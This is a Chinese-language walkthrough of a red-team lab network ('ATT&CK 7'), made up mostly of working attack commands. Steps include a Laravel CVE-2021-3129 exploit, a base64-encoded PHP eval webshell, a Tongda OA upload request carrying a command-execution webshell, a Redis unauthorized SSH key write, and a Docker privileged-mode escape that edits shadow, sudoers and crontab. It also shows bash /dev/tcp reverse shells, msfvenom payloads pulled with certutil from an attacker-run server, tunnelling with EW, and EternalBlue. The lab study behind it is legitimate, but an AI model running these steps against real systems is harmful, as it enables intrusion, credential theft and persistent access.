ATT&CK(七)
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1: web:web2021
Ubuntu 2: ubuntu:ubuntu
通达OA账户: admin:admin657260
web1 使用 web:web2021 登录
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
web2
sudo service docker start
sudo docker start 8e172820ac78
win7 Administrator:Whoami2021
C:\MYOA\bin\AutoConfig.exe
laravel
nmap 192.168.1.0/24
81端口开放了laravel服务 这里也存在版本
searchsploit laravel
searchsploit php/webapps/49424.py -m
cat /root/49424.py
git clone https://github.com/zhzyker/CVE-2021-3129.git
cd CVE-2021-3129
python3 exp.py http://192.168.1.128:81/
这里可以看到有的脚本是没有执行成功的
这里看到rce5是执行成功的 因此我们修改命令写入马 这里我选择分两次写入 一次性写入会导致字符损失 猜测是由于 $_POST作为了linux中的一个变量
或者 base64编码一下
echo PD9waHAgQGV2YWwoJF9QT1NUWyd6ZiddKTs/Pg==|base64 -d > zf.php
phpggc使用
git clone https://github.com/ambionics/phpggc.git
./phpggc -l
列出所有的链
./phpggc Laravel/RCE2 -i
其中包含了生成攻击payload 所需要的参数
./phpggc Laravel/RCE2 system id
对于只能满足写文件需求的组件 需要知道文件的绝对路径,例如目标网站的绝对路径为 /var/www/html 需要写入shell.php
./phpggc Doctrine/FW1 -i
./phpggc /var/www/html/shell.php eval.php
phpggc中的 -w参数还可以对序列化数据进行一个再次包装
在形成序列化数据之前调用其来更改序列化的对象,若存在以下漏洞点,接受参数为一个二维数组,那么我们需要对其中的message键对应的值进行反序列化
<?php
$data = unserialize($_GET['data']);
print $data['message'];
此时可以自己利用phpgcc 提供的 process_object($object),即data对应的值不是一个序列化的字符串,而data[‘message’]的值才应该是一个序列化后的字符串,这里只需要将要序列化的对象的值赋值给message,即可只用
<?php
function process_object($object){
return array('message'=>$object);
}
这里将序列化的对象的值赋值给了message ,并返回为一个数组,然后在对数组进行serialize()函数处理,形成序列化后的数据
./phpggc -w array.php slim/rce1 system id
尝试提权
尝试反弹shell但没有成功
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
这里的demo.c应该是shell的源码
这里的脚本执行了ps命令并且未使用绝对路径
那么尝试更改$PATH来执行恶意程序,从而获得目标主机的root权限shell
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
#将/tmp添加到环境变量中,并且先加载执行 /tmp里的程序
cd /home/jobs
./shell
不过这里在写 环境变量的时候出现了问题 至于这里的问题呢 我们可以在后面发现其实是 nginx 的反向代理 这里我们就先去看 redis
redis 未授权
nmap 192.168.1.128 --top-ports 5000
这里可以看到开放了 redis 服务
wget https://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cd src/
ll
下载redis 服务并编译
如果make出错 请更新 gcc版本
yum -y install centos-release-scl
yum -y install devtoolset-8-gcc devtoolset-8-gdb devtoolset-8-gcc-c++ devtoolset-8-binutils
scl enable devtoolset-8 bash
echo “source /opt/rh/devtoolset-8/enable” >>/etc/profile
./redis-cli -h 192.168.1.128 -p 6379
可以看到存在未授权访问
公钥登录
我们写公钥登录试试
ssh-keygen -t rsa
config get dir
#检查当前保存路径
config get dbfilename
#检查保存文件名
config set dir /root/.ssh/
#设置保存路径
config set dbfilename authorized_keys
#设置数据库文件名
set wanan "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYLjlY2PVJ+OggsLfO4+kYbxJyj7zERoeTxoyLes/y0IXffteXEWKzfViHu+NhVhjULA5ttj0vDujnO3Nn/A0DzLY/m8uqZYhokVwQl3wpijOhkCvDNZZ5euuCSbrWLk/72pGvEJmS6y0kWR/l7JXQUAbdGfFXXV0smiGZfNM6ksJzvekUwHNuEHXK3uzlPKrcfNpGB6pg9c6m3z0mEKFPmXy9MHroxj9ivyQQfgG/tAuZjnXscVum0qgz4o+q5k7x4jgMK7jx7yQpEZES80rwL/Oi8r7iyiC5yjWh2ufeuosyCp7ybboDtVoMhsbS+h0gZNO3JI7BUEtwX/bvaLZ09RSPYwEsFMtW7IGdjos+WyohvhnAb5Q4xnSO3juNuqnbvnXSiEOYdjFX9b0iFqZ/tePSbvwDIhLDDOVkgKCyTAn5jmffc4aV2uCrzptsQmEHketc+xI2jGJYYvLG4JDfvqp10VS72dX1jcTVHhKapIZekn5xjPGspAFb90BRS7s= root@kali \n\n\n"
save
ssh -i /root/.ssh/id_rsa root@192.168.1.128
这里可以看到存在两张网卡 一张是 1.128 一张是 52.10
这里发现nginx服务
这里找到nginx的配置文件发现没有有用的
不过这里还包含了一个
这里可以发现是代理的 其中80端口代理的是 https://whoamianony.top/ 但是这里刚开始的时候访问80是不通的
这里改成我的博客试试
这里也可以看到81端口代理的是 52.20 的 8000服务 也就是说这里我们之前反弹shell出现的问题其实是由于52.20 不出网
上线web1(52.10)
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.129
run
我们这里反弹shell 给web1
bash -c 'bash -i >& /dev/tcp/192.168.52.10/5555 0>&1'
这里的话反弹shell就没有问题了 推测可能是蚁剑的交互式shell的原因无法执行写入 环境变量
提权web2(52.20)
环境变量提权
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/jobs
./shell
docker 特权模式逃逸
特权模式在 0.6被引入docker ,允许容器内的root拥有外部物理机的root权限,而此前容器内的root用户仅拥有外部物理机的普通用户权限
使用特权模式启动容器,可以获取大量的设备文件访问权限,因为当管理员执行 docekr run --privileged 时,docekr 容器将被允许访问主机上的所有设备,并可执行mount命令进行挂载
当控制使用特权模式启动容器时,docker管理员可以通过mount命令将外部宿主机磁盘设备挂载进容器的内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机上执行命令
hostname
cat /proc/self/cgroup
fdisk -l
ls /dev
cd /
mkdir wanan
mount /dev/sda1 /wanan
ls /wanan
成功挂载
cd /wanan/home/ubuntu
ls
cat password
密码登录
成功获得ubuntu的密码
我们尝试从 52.10 直接ssh登录
ssh ubuntu@192.168.52.20
写公钥登录
另一种方式 我们写入公钥去ssh登录
52.10 生成
ssh-keygen -t rsa
web1 开启http服务
python3 -m http.server
curl -O http://192.168.52.10:8000/id_rsa.pub
mv id_rsa.pub /wanan/home/ubuntu/.ssh/authorized_keys
cat /wanan/home/ubuntu/.ssh/authorized_keys
添加新用户登录
useradd -s /bin/bash wanan
passwd wanan
tail /etc/passwd
tail /etc/shadow
注意这里要用单引号
echo 'wanan:x:1002:1002::/home/wanan:/bin/bash' >> /wanan/etc/passwd
echo 'wanan:$6$rVZXR53W69hWAS1e$E/Zy2oFomIvpS0fjIOYcgmL63ZOhZ5TjGMnUe7BAmQF2qpde/R5tbzr1UUtgLIEZ5zLaTLKuizyVvs7PIQMNJ0:19275:0:99999:7:::' >> /wanan/etc/shadow
这个需要提权
写sudoers提权
ubuntu提权知识 ubuntu是用命令行执行命令.在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件 /etc/sudoers 处加入普通用户放行语句,才可以让普通用户在ssh的情况下进行提权
echo "wanan ALL=(ALL:ALL) ALL">> /wanan/etc/sudoers
cve-2021-3493提权
searchsploit ubuntu 4.4.0
git clone https://github.com/briskets/CVE-2021-3493.git
定时任务
touch /wanan/tmp/test.sh
chmod +x /wanan/tmp/test.sh
ls -ll /wanan/tmp/test.sh
echo '/bin/bash -i >& bash -i >& /dev/tcp/192.168.52.10/6666 0>&1' >> /wanan/tmp/test.sh
cat /wanan/tmp/test.sh
sed -i '$a*/2 * * * * root bash /tmp/test.sh' /wanan/etc/crontab
cat /wanan/etc/crontab
df
umount /wanan
移除挂载
ssh流量转发(52.20)
1.128 转发 到 52.20的22端口的流量到kali的2222端口
新建一个用户
ssh -N -f -L 2222:192.168.52.20:22 wanan@192.168.1.128
-N 建立静默连接
-f 将ssh传输转入后台执行,不占用当前shell
-L 转发本地的2222端口
配置socks代理转发
ssh -CfNg -D 7000 wanan@192.168.1.128
-C 压缩传输
-d 将ssh传输转入后台执行,不占用当前的shell
-N 建立静默连接 建立的但是看不到具体会话
-D 动态转发 (socks代理)
vim /etc/proxychains4.conf
上线web2(52.20)
添加路由
route add 192.168.52.0 255.255.255.0 1
route print
先设置监听
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.52.20
set lport 6666
run
生成正向shell
msfvenom -p linux/x64/meterpreter/bind_tcp lport=6666 -f elf -o 20.elf
scp直接传马到 52.20
scp -P 2222 20.elf ubuntu@127.0.0.1:/tmp/20.elf
成功上线
这里可以看到还有一个 (93.10)
ew流量转发
run autoroute -s 192.168.52.0/24
run autoroute -p
git clone https://github.com/idlefire/ew.git
1.129
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
52.10
./ew_for_linux64 -s rssocks -d 192.168.1.129 -e 1234
vim /etc/proxychains4.conf
这里配置完成了 但是还是 ping 不通 52.30
但是这里还是ping 不通 其中主要原因是防火墙没有放开 但是这里按照作者的逻辑 不应该防护 52.20 到达 52.30的流量 至少是8080
因此我这里选择把公共网络防火墙给关闭
重新测试成功访问到了
这里接着探测一下52 段的存活主机
use auxiliary/scanner/netbios/nbname
options
set rhosts 192.168.52.1-254
run
上线pc1(52.30)
use auxiliary/scanner/portscan/tcp
options
set rhosts 192.168.52.30
set threads 20
run
可以看到有一个8080 端口 这里我们先给burp 配置一下 192.168.1.129 1080 的上层代理
点击链接发现版本 为oa 11.10 版本
根据文章获得shell
https://blog.youkuaiyun.com/szgyunyun/article/details/107104288
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 660
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2210/1637758065.jpg"}&cmd=whoami
echo PD9waHAgQGV2YWwoJF9QT1NUWyd6ZiddKTs/Pg==|base64 -d > zf.php
cat zf.php
python3 -m http.server
certutil -urlcache -split -f http://192.168.52.10:8000/zf.php
生成一个正向shell
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.52.30 lport=7777 -f exe -o 30.exe
scp到 52.10 上面去
scp 30.exe wanan@192.168.1.128:/tmp
在 52.10上面启动一个 http服务
下载下来
certutil -urlcache -split -f http://192.168.52.10:8000/30.exe
设置监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.30
set lport 7777
run
这里可以看到还有一张 93.20 的网卡
ew二级流量转发
route add 192.168.93.0 255.255.255.0 3
route print
1.129
./ew_for_linux64 -s lcx_listen -l 6666 -e 8888
52.20
./ew_for_linux64 -s ssocksd -l 9999
52.10
./ew_for_linux64 -s lcx_slave -d 192.168.1.129 -e 8888 -f 192.168.52.20 -g 9999
vim /etc/proxychains4.conf
proxychains ping 192.168.93.10
上线(93.40)
use auxiliary/scanner/netbios/nbname
options
set rhosts 192.168.93.1-254
run
use auxiliary/scanner/portscan/syn
options
set rhosts 192.168.93.40
set threads 20
run
use exploit/windows/smb/ms17_010_eternalblue
options
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4455
run
能不能行全靠运气
上线(93.30)
这里在打域控的时候直接就蓝屏了
use exploit/windows/smb/ms17_010_eternalblue
options
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.30
set lport 4466
run
换一个模块去执行命令试试
use admin/smb/ms17_010_command
options
set rhosts 192.168.93.30
run
传马
msfvenom -p windows/meterpreter/bind_tcp lport=7788 -f exe -o 93.exe
把马传到52.20上面去
python3 -m http.server 8888
use admin/smb/ms17_010_command
options
set command "certutil -urlcache -split -f http://192.168.93.10:8888/93.exe"
set rhosts 192.168.93.30
run
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set lport 7788
run -j -z
use admin/smb/ms17_010_command
options
set command C:\Windows\system32\93.exe
set rhosts 192.168.93.30
run
没反应
https://www.cnblogs.com/byErichas/p/16617154.html
https://www.cnblogs.com/chen-w/archive/2022/04/26/16194101.html
https://bbs.zkaq.cn/t/5415.html
https://blog.youkuaiyun.com/trytowritecode/article/details/124097458
https://blog.youkuaiyun.com/weixin_44830645/article/details/124247090
https://article.itxueyuan.com/8KpOww
http://www.yongsheng.site/2021/08/09/ATT&CK%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E5%AE%9E%E6%88%98%E9%9D%B6%E5%9C%BA%EF%BC%88%E4%B8%83%EF%BC%89/
https://blog.youkuaiyun.com/trytowritecode/article/details/124097458
https://www.163.com/dy/article/GSII62P60538S33I.html
https://www.cnblogs.com/wkzb/p/14877913.html
https://www.freebuf.com/articles/network/264560.html
https://xz.aliyun.com/t/9574